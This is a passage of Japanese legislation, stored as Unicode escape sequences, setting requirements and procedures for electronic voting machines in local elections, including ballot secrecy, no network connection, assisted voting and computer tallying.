\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\u4e00\n\n\u3000\u9078\u6319\u4eba\u304c\u4e00\u306e\u9078\u6319\u306b\u304a\u3044\u3066\u4e8c\u4ee5\u4e0a\u306e\u6295\u7968\u3092\u884c\u3046\u3053\u3068\u3092\u9632\u6b62\u3067\u304d\u308b\u3082\u306e\u3067\u3042\u308b\u3053\u3068\u3002\n\n\u4e8c\n\n\u3000\u6295\u7968\u306e\u79d8\u5bc6\u304c\u4fb5\u3055\u308c\u306a\u3044\u3082\u306e\u3067\u3042\u308b\u3053\u3068\u3002\n\n\u4e09\n\n\u3000\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u64cd\u4f5c\u306b\u3088\u308a\u516c\u8077\u306e\u5019\u88dc\u8005\u306e\u3044\u305a\u308c\u3092\u9078\u629e\u3057\u305f\u304b\u3092\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306b\u8a18\u9332\u3059\u308b\u524d\u306b\u3001\u5f53\u8a72\u9078\u629e\u306b\u4fc2\u308b\u516c\u8077\u306e\u5019\u88dc\u8005\u306e\u6c0f\u540d\u3092\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u8868\u793a\u306b\u3088\u308a\u9078\u6319\u4eba\u304c\u78ba\u8a8d\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3082\u306e\u3067\u3042\u308b\u3053\u3068\u3002\n\n\u56db\n\n\u3000\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u64cd\u4f5c\u306b\u3088\u308a\u516c\u8077\u306e\u5019\u88dc\u8005\u306e\u3044\u305a\u308c\u3092\u9078\u629e\u3057\u305f\u304b\u3092\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306b\u78ba\u5b9f\u306b\u8a18\u9332\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3082\u306e\u3067\u3042\u308b\u3053\u3068\u3002\n\n\u4e94\n\n\u3000\u4e88\u60f3\u3055\u308c\u308b\u4e8b\u6545\u306b\u5bfe\u3057\u3066\u3001\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u64cd\u4f5c\u306b\u3088\u308a\u516c\u8077\u306e\u5019\u88dc\u8005\u306e\u3044\u305a\u308c\u3092\u9078\u629e\u3057\u305f\u304b\u3092\u8a18\u9332\u3057\u305f\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\uff08\u4ee5\u4e0b\u300c\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u300d\u3068\u3044\u3046\u3002\uff09\u306e\u8a18\u9332\u3092\u4fdd\u8b77\u3059\u308b\u305f\u3081\u306b\u5fc5\u8981\u306a\u63aa\u7f6e\u304c\u8b1b\u3058\u3089\u308c\u3066\u3044\u308b\u3082\u306e\u3067\u3042\u308b\u3053\u3068\u3002\n\n\u516d\n\n\u3000\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u3092\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u304b\u3089\u53d6\u308a\u51fa\u305b\u308b\u3082\u306e\u3067\u3042\u308b\u3053\u3068\u3002\n\n\u4e03\n\n\u3000\u6a29\u9650\u3092\u6709\u3057\u306a\u3044\u8005\u304c\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u7ba1\u7406\u306b\u4fc2\u308b\u64cd\u4f5c\u3092\u3059\u308b\u3053\u3068\u3092\u9632\u6b62\u3067\u304d\u308b\u3082\u306e\u3067\u3042\u308b\u3053\u3068\u3002\n\n\u516b\n\n\u3000\u524d\u5404\u53f7\u306b\u63b2\u3052\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u9078\u6319\u306e\u516c\u6b63\u304b\u3064\u9069\u6b63\u306a\u57f7\u884c\u3092\u5bb3\u3057\u306a\u3044\u3082\u306e\u3067\u3042\u308b\u3053\u3068\u3002\n\n\n\uff12\n\n\u3000\u524d\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u306b\u7528\u3044\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306f\u3001\u96fb\u6c17\u901a\u4fe1\u56de\u7dda\u306b\u63a5\u7d9a\u3057\u3066\u306f\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306b\u304a\u3044\u3066\u8868\u793a\u3059\u3079\u304d\u4e8b\u9805\u7b49\uff09\n\u7b2c\u4e94\u6761\n\n\u3000\u516c\u8077\u306e\u5019\u88dc\u8005\u306b\u95a2\u3057\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306b\u304a\u3044\u3066\u8868\u793a\u3059\u3079\u304d\u4e8b\u9805\u306f\u3001\u516c\u8077\u306e\u5019\u88dc\u8005\u306e\u6c0f\u540d\u53ca\u3073\u515a\u6d3e\u5225\u3068\u3059\u308b\u3002\u3053\u306e\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u305d\u306e\u8868\u793a\u306e\u65b9\u6cd5\u306b\u3064\u3044\u3066\u5fc5\u8981\u306a\u4e8b\u9805\u306f\u3001\u90fd\u9053\u5e9c\u770c\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53c8\u306f\u9577\u306e\u9078\u6319\u306b\u3064\u3044\u3066\u306f\u90fd\u9053\u5e9c\u770c\u304c\u3001\u5e02\u753a\u6751\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53c8\u306f\u9577\u306e\u9078\u6319\u306b\u3064\u3044\u3066\u306f\u5e02\u753a\u6751\u304c\u3001\u305d\u308c\u305e\u308c\u3001\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3002\n\n\n\n\uff08\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u6307\u5b9a\uff09\n\u7b2c\u516d\u6761\n\n\u3000\u5e02\u753a\u6751\u306e\u9078\u6319\u7ba1\u7406\u59d4\u54e1\u4f1a\u306f\u3001\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u884c\u3046\u9078\u6319\u306b\u3064\u3044\u3066\u3001\u7b2c\u56db\u6761\u7b2c\u4e00\u9805\u5404\u53f7\u306b\u63b2\u3052\u308b\u6761\u4ef6\u3092\u5177\u5099\u3059\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u3046\u3061\u304b\u3089\u3001\u5f53\u8a72\u9078\u6319\u306e\u6295\u7968\u306b\u7528\u3044\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u6307\u5b9a\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\u3053\u306e\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u7b2c\u4e09\u6761\u7b2c\u4e09\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u306b\u7528\u3044\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u6307\u5b9a\u3057\u3088\u3046\u3068\u3059\u308b\u3068\u304d\u306f\u3001\u3042\u3089\u304b\u3058\u3081\u3001\u90fd\u9053\u5e9c\u770c\u306e\u9078\u6319\u7ba1\u7406\u59d4\u54e1\u4f1a\u306b\u5354\u8b70\u3057\u3001\u305d\u306e\u540c\u610f\u3092\u5f97\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u5e02\u753a\u6751\u306e\u9078\u6319\u7ba1\u7406\u59d4\u54e1\u4f1a\u306f\u3001\u524d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u6307\u5b9a\u3057\u305f\u3068\u304d\u306f\u3001\u5f53\u8a72\u6307\u5b9a\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u578b\u5f0f\u3001\u69cb\u9020\u3001\u6a5f\u80fd\u53ca\u3073\u64cd\u4f5c\u306e\u65b9\u6cd5\u3092\u544a\u793a\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306b\u3088\u308b\u4ee3\u7406\u6295\u7968\u7b49\uff09\n\u7b2c\u4e03\u6761\n\n\u3000\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u306b\u304a\u3044\u3066\u3001\u5fc3\u8eab\u306e\u6545\u969c\u305d\u306e\u4ed6\u306e\u4e8b\u7531\u306b\u3088\u308a\u3001\u81ea\u3089\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u305f\u6295\u7968\uff08\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u64cd\u4f5c\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u516c\u8077\u306e\u5019\u88dc\u8005\u3092\u9078\u629e\u3057\u3001\u304b\u3064\u3001\u5f53\u8a72\u516c\u8077\u306e\u5019\u88dc\u8005\u3092\u9078\u629e\u3057\u305f\u3053\u3068\u3092\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306b\u8a18\u9332\u3059\u308b\u3053\u3068\u3092\u3044\u3046\u3002\u4ee5\u4e0b\u540c\u3058\u3002\uff09\u3092\u884c\u3046\u3053\u3068\u304c\u3067\u304d\u306a\u3044\u9078\u6319\u4eba\u306f\u3001\u540c\u6761\u306e\u898f\u5b9a\u306b\u304b\u304b\u308f\u3089\u305a\u3001\u6295\u7968\u7ba1\u7406\u8005\u306b\u7533\u3057\u7acb\u3066\u3001\u5f53\u8a72\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u305f\u4ee3\u7406\u6295\u7968\u3092\u884c\u308f\u305b\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u524d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u7533\u7acb\u3066\u304c\u3042\u3063\u305f\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u6295\u7968\u7ba1\u7406\u8005\u306f\u3001\u6295\u7968\u7acb\u4f1a\u4eba\u306e\u610f\u898b\u3092\u8074\u3044\u3066\u3001\u6295\u7968\u6240\u306e\u4e8b\u52d9\u306b\u5f93\u4e8b\u3059\u308b\u8005\u306e\u3046\u3061\u304b\u3089\u5f53\u8a72\u9078\u6319\u4eba\u306e\u6295\u7968\u3092\u88dc\u52a9\u3059\u3079\u304d\u8005\u4e8c\u4eba\u3092\u5b9a\u3081\u3001\u305d\u306e\u4e00\u4eba\u306b\u5f53\u8a72\u9078\u6319\u4eba\u304c\u6307\u793a\u3059\u308b\u516c\u8077\u306e\u5019\u88dc\u8005\u4e00\u4eba\u306b\u5bfe\u3057\u3066\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u305f\u6295\u7968\u3092\u884c\u308f\u305b\u3001\u4ed6\u306e\u4e00\u4eba\u3092\u3053\u308c\u306b\u7acb\u3061\u4f1a\u308f\u305b\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff13\n\n\u3000\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u306b\u304a\u3044\u3066\u3001\u81ea\u3089\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u305f\u6295\u7968\u3092\u884c\u3046\u3053\u3068\u304c\u56f0\u96e3\u306a\u9078\u6319\u4eba\uff08\u7b2c\u4e00\u9805\u306b\u898f\u5b9a\u3059\u308b\u9078\u6319\u4eba\u3092\u9664\u304f\u3002\uff09\u306f\u3001\u540c\u6761\u306e\u898f\u5b9a\u306b\u304b\u304b\u308f\u3089\u305a\u3001\u6295\u7968\u7ba1\u7406\u8005\u306b\u7533\u3057\u7acb\u3066\u3001\u5f53\u8a72\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u64cd\u4f5c\u306b\u3064\u3044\u3066\u306e\u88dc\u52a9\u3092\u884c\u308f\u305b\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff14\n\n\u3000\u524d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u7533\u7acb\u3066\u304c\u3042\u3063\u305f\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u6295\u7968\u7ba1\u7406\u8005\u306f\u3001\u6295\u7968\u7acb\u4f1a\u4eba\u306e\u610f\u898b\u3092\u8074\u3044\u3066\u3001\u6295\u7968\u6240\u306e\u4e8b\u52d9\u306b\u5f93\u4e8b\u3059\u308b\u8005\u306e\u3046\u3061\u304b\u3089\u5f53\u8a72\u9078\u6319\u4eba\u306e\u305f\u3081\u306b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u64cd\u4f5c\u3092\u88dc\u52a9\u3059\u3079\u304d\u8005\u4e8c\u4eba\u3092\u5b9a\u3081\u3001\u305d\u306e\u4e00\u4eba\u306b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u64cd\u4f5c\u306b\u3064\u3044\u3066\u306e\u52a9\u8a00\u3001\u4ecb\u52a9\u305d\u306e\u4ed6\u306e\u5fc5\u8981\u306a\u63aa\u7f6e\uff08\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u64cd\u4f5c\u306b\u3088\u308a\u516c\u8077\u306e\u5019\u88dc\u8005\u306e\u3044\u305a\u308c\u3092\u9078\u629e\u3057\u305f\u304b\u3092\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306b\u8a18\u9332\u3059\u308b\u3053\u3068\u3092\u9664\u304f\u3002\uff09\u3092\u884c\u308f\u305b\u3001\u4ed6\u306e\u4e00\u4eba\u3092\u3053\u308c\u306b\u7acb\u3061\u4f1a\u308f\u305b\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u6295\u7968\u306e\u7279\u4f8b\uff09\n\u7b2c\u516b\u6761\n\n\u3000\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u884c\u3046\u9078\u6319\u306b\u3064\u3044\u3066\u3001\u6b21\u306e\u8868\u306e\u4e0a\u6b04\u306b\u63b2\u3052\u308b\u516c\u8077\u9078\u6319\u6cd5\n\u306e\u898f\u5b9a\u3092\u9069\u7528\u3059\u308b\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u3053\u308c\u3089\u306e\u898f\u5b9a\u4e2d\u540c\u8868\u306e\u4e2d\u6b04\u306b\u63b2\u3052\u308b\u5b57\u53e5\u306f\u3001\u305d\u308c\u305e\u308c\u540c\u8868\u306e\u4e0b\u6b04\u306b\u63b2\u3052\u308b\u5b57\u53e5\u306b\u8aad\u307f\u66ff\u3048\u308b\u3082\u306e\u3068\u3059\u308b\u3002\n\u7b2c\u56db\u5341\u516b\u6761\u306e\u4e8c\u7b2c\u4e8c\u9805\u306e\u8868\n\n\u7b2c\u4e94\u5341\u4e09\u6761\u7b2c\u4e00\u9805\n\n\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u516b\u6761\u306e\u898f\u5b9a\u306b\u3088\u308a\u8aad\u307f\u66ff\u3048\u3066\u9069\u7528\u3055\u308c\u308b\u7b2c\u4e94\u5341\u4e09\u6761\u7b2c\u4e00\u9805\n\n\u9589\u9396\u3057\u306a\u3051\u308c\u3070\n\n\u72b6\u614b\u306b\u3057\u306a\u3051\u308c\u3070\n\n\u5165\u308c\u3055\u305b\u308b\u5834\u5408\n\n\u5165\u308c\u3055\u305b\u308b\u5834\u5408\u53c8\u306f\u5f53\u8a72\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u6295\u7968\u3055\u305b\u308b\u5834\u5408\n\n\u958b\u304b\u306a\u3051\u308c\u3070\n\n\u958b\u304d\u3001\u53c8\u306f\u5f53\u8a72\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u6295\u7968\u3067\u304d\u308b\u72b6\u614b\u306b\u3057\u306a\u3051\u308c\u3070\n\n\u7b2c\u4e94\u5341\u4e09\u6761\u7b2c\u4e8c\u9805\n\n\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u516b\u6761\u306e\u898f\u5b9a\u306b\u3088\u308a\u8aad\u307f\u66ff\u3048\u3066\u9069\u7528\u3055\u308c\u308b\u7b2c\u4e94\u5341\u4e09\u6761\u7b2c\u4e8c\u9805\n\n\u6295\u7968\u7bb1\u3092\u958b\u3044\u305f\u5834\u5408\u306f\n\n\u6295\u7968\u7bb1\u3092\u958b\u3044\u305f\u5834\u5408\u53c8\u306f\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u6295\u7968\u3067\u304d\u308b\u72b6\u614b\u306b\u3057\u305f\u5834\u5408\u306f\n\n\u7b2c\u4e94\u5341\u4e94\u6761\n\n\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u516b\u6761\u306e\u898f\u5b9a\u306b\u3088\u308a\u8aad\u307f\u66ff\u3048\u3066\u9069\u7528\u3055\u308c\u308b\u7b2c\u4e94\u5341\u4e94\u6761\n\n\u7b2c\u4e94\u5341\u4e09\u6761\u7b2c\u4e00\u9805\n\n\u9589\u9396\u3057\u306a\u3051\u308c\u3070\n\n\u9589\u9396\u3057\u3001\u304b\u3064\u3001\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\uff08\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u4e8c\u6761\u7b2c\u4e8c\u53f7\u306b\u898f\u5b9a\u3059\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u3044\u3046\u3002\u4ee5\u4e0b\u540c\u3058\u3002\uff09\u3092\u6295\u7968\u3067\u304d\u306a\u3044\u72b6\u614b\u306b\u3057\u306a\u3051\u308c\u3070\n\n\u7b2c\u4e94\u5341\u4e09\u6761\u7b2c\u4e8c\u9805\n\n\u306e\u9589\u9396\n\n\u304c\u9589\u9396\u3055\u308c\u3001\u304b\u3064\u3001\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u304c\u6295\u7968\u3067\u304d\u306a\u3044\u72b6\u614b\u306b\u3055\u308c\u305f\n\n\u7b2c\u4e94\u5341\u4e94\u6761\n\n\u6295\u7968\u7bb1\n\n\u6295\u7968\u7bb1\u3001\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\uff08\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u56db\u6761\u7b2c\u4e00\u9805\u7b2c\u4e94\u53f7\u306b\u898f\u5b9a\u3059\u308b\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u3092\u3044\u3046\u3002\u4ee5\u4e0b\u540c\u3058\u3002\uff09\u3001\u6295\u7968\u3092\u8907\u5199\u3057\u305f\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\uff08\u540c\u6cd5\u7b2c\u5341\u6761\u7b2c\u4e8c\u9805\u306b\u898f\u5b9a\u3059\u308b\u6295\u7968\u3092\u8907\u5199\u3057\u305f\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u3092\u3044\u3046\u3002\u4ee5\u4e0b\u540c\u3058\u3002\uff09\n\n\u7b2c\u4e94\u5341\u516d\u6761\n\n\u6295\u7968\u7bb1\u3092\u9001\u81f4\u3059\u308b\n\n\u6295\u7968\u7bb1\u3001\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u53c8\u306f\u6295\u7968\u3092\u8907\u5199\u3057\u305f\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u3092\u9001\u81f4\u3059\u308b\n\n\u305d\u306e\u6295\u7968\u7bb1\n\n\u305d\u306e\u6295\u7968\u7bb1\u3001\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u3001\u6295\u7968\u3092\u8907\u5199\u3057\u305f\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\n\n\n\n\uff08\u958b\u7968\u306e\u7279\u4f8b\uff09\n\u7b2c\u4e5d\u6761\n\n\u3000\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u884c\u3046\u9078\u6319\u306b\u3064\u3044\u3066\u3001\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u516d\u5341\u4e94\u6761\n\u53ca\u3073\u7b2c\u4e03\u5341\u4e00\u6761\n\u306e\u898f\u5b9a\u3092\u9069\u7528\u3059\u308b\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u540c\u6cd5\u7b2c\u516d\u5341\u4e94\u6761\n\u4e2d\u300c\u6295\u7968\u7bb1\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u6295\u7968\u7bb1\u53ca\u3073\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u82e5\u3057\u304f\u306f\u6295\u7968\u3092\u8907\u5199\u3057\u305f\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u300d\u3068\u3001\u540c\u6cd5\u7b2c\u4e03\u5341\u4e00\u6761\n\u4e2d\u300c\u6295\u7968\u306f\u3001\u6709\u52b9\u7121\u52b9\u3092\u533a\u5225\u3057\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u6295\u7968\u3001\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u53ca\u3073\u6295\u7968\u3092\u8907\u5199\u3057\u305f\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306f\u300d\u3068\u3001\u300c\u4fdd\u5b58\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u4fdd\u5b58\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\u3053\u306e\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u6295\u7968\u306b\u3042\u3064\u3066\u306f\u3001\u6709\u52b9\u7121\u52b9\u3092\u533a\u5225\u3057\u3066\u4fdd\u5b58\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u300d\u3068\u3059\u308b\u3002\n\n\uff12\n\n\u3000\u7b2c\u4e09\u6761\u53ca\u3073\u7b2c\u4e03\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u306b\u3064\u3044\u3066\u306f\u3001\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u516d\u5341\u516d\u6761\n\u304b\u3089\u7b2c\u516d\u5341\u516b\u6761\u306e\u4e8c\n\u307e\u3067\u306e\u898f\u5b9a\u306f\u3001\u9069\u7528\u3057\u306a\u3044\u3002\n\n\uff13\n\n\u3000\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u516d\u5341\u516b\u6761\u7b2c\u4e00\u9805\u7b2c\u4e8c\u53f7\n\u53c8\u306f\u7b2c\u4e94\u53f7\n\u306b\u898f\u5b9a\u3059\u308b\u8005\u306b\u5bfe\u3059\u308b\u7b2c\u4e09\u6761\n\u53ca\u3073\u7b2c\u4e03\u6761\n\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u306f\u3001\u7121\u52b9\u3068\u3059\u308b\u3002\n\n\uff14\n\n\u3000\u958b\u7968\u7ba1\u7406\u8005\u306f\u3001\u7b2c\u4e09\u6761\u53ca\u3073\u7b2c\u4e03\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u306b\u3064\u3044\u3066\u306f\u3001\u958b\u7968\u7acb\u4f1a\u4eba\u3068\u3068\u3082\u306b\u3001\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306b\u8a18\u9332\u3055\u308c\u305f\u6295\u7968\u3092\u96fb\u5b50\u8a08\u7b97\u6a5f\u3092\u7528\u3044\u3066\u96c6\u8a08\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u5404\u516c\u8077\u306e\u5019\u88dc\u8005\u306e\u5f97\u7968\u6570\u3092\u8a08\u7b97\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\u3053\u306e\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u958b\u7968\u7ba1\u7406\u8005\u306f\u3001\u958b\u7968\u7acb\u4f1a\u4eba\u306e\u610f\u898b\u3092\u8074\u3044\u3066\u3001\u6295\u7968\u306e\u52b9\u529b\u3092\u6c7a\u5b9a\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff15\n\n\u3000\u958b\u7968\u7ba1\u7406\u8005\u306f\u3001\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u884c\u3046\u9078\u6319\u306b\u3064\u3044\u3066\u306f\u3001\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u516d\u5341\u516d\u6761\u7b2c\u4e09\u9805\n\u306e\u898f\u5b9a\u306b\u304b\u304b\u308f\u3089\u305a\u3001\u524d\u9805\u306e\u8a08\u7b97\u306e\u7d50\u679c\u53ca\u3073\u540c\u6761\u7b2c\u4e8c\u9805\n\u306e\u898f\u5b9a\u306b\u3088\u308a\u884c\u3063\u305f\u6295\u7968\u306e\u70b9\u691c\u306e\u7d50\u679c\u306b\u3088\u308a\u3001\u5404\u516c\u8077\u306e\u5019\u88dc\u8005\u306e\u5f97\u7968\u6570\u3092\u8a08\u7b97\u3057\u3001\u76f4\u3061\u306b\u305d\u308c\u3089\u306e\u7d50\u679c\u3092\u9078\u6319\u9577\u306b\u5831\u544a\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u6295\u7968\u3092\u8907\u5199\u3057\u305f\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\uff09\n\u7b2c\u5341\u6761\n\n\u3000\u6295\u7968\u7ba1\u7406\u8005\u306f\u3001\u7b2c\u4e09\u6761\u53ca\u3073\u7b2c\u4e03\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u306b\u3064\u3044\u3066\u306f\u3001\u5f53\u8a72\u9078\u6319\u306b\u95a2\u3059\u308b\u4e8b\u52d9\u3092\u7ba1\u7406\u3059\u308b\u9078\u6319\u7ba1\u7406\u59d4\u54e1\u4f1a\u306e\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306b\u8a18\u9332\u3055\u308c\u305f\u6295\u7968\u3092\u4ed6\u306e\u96fb\u78c1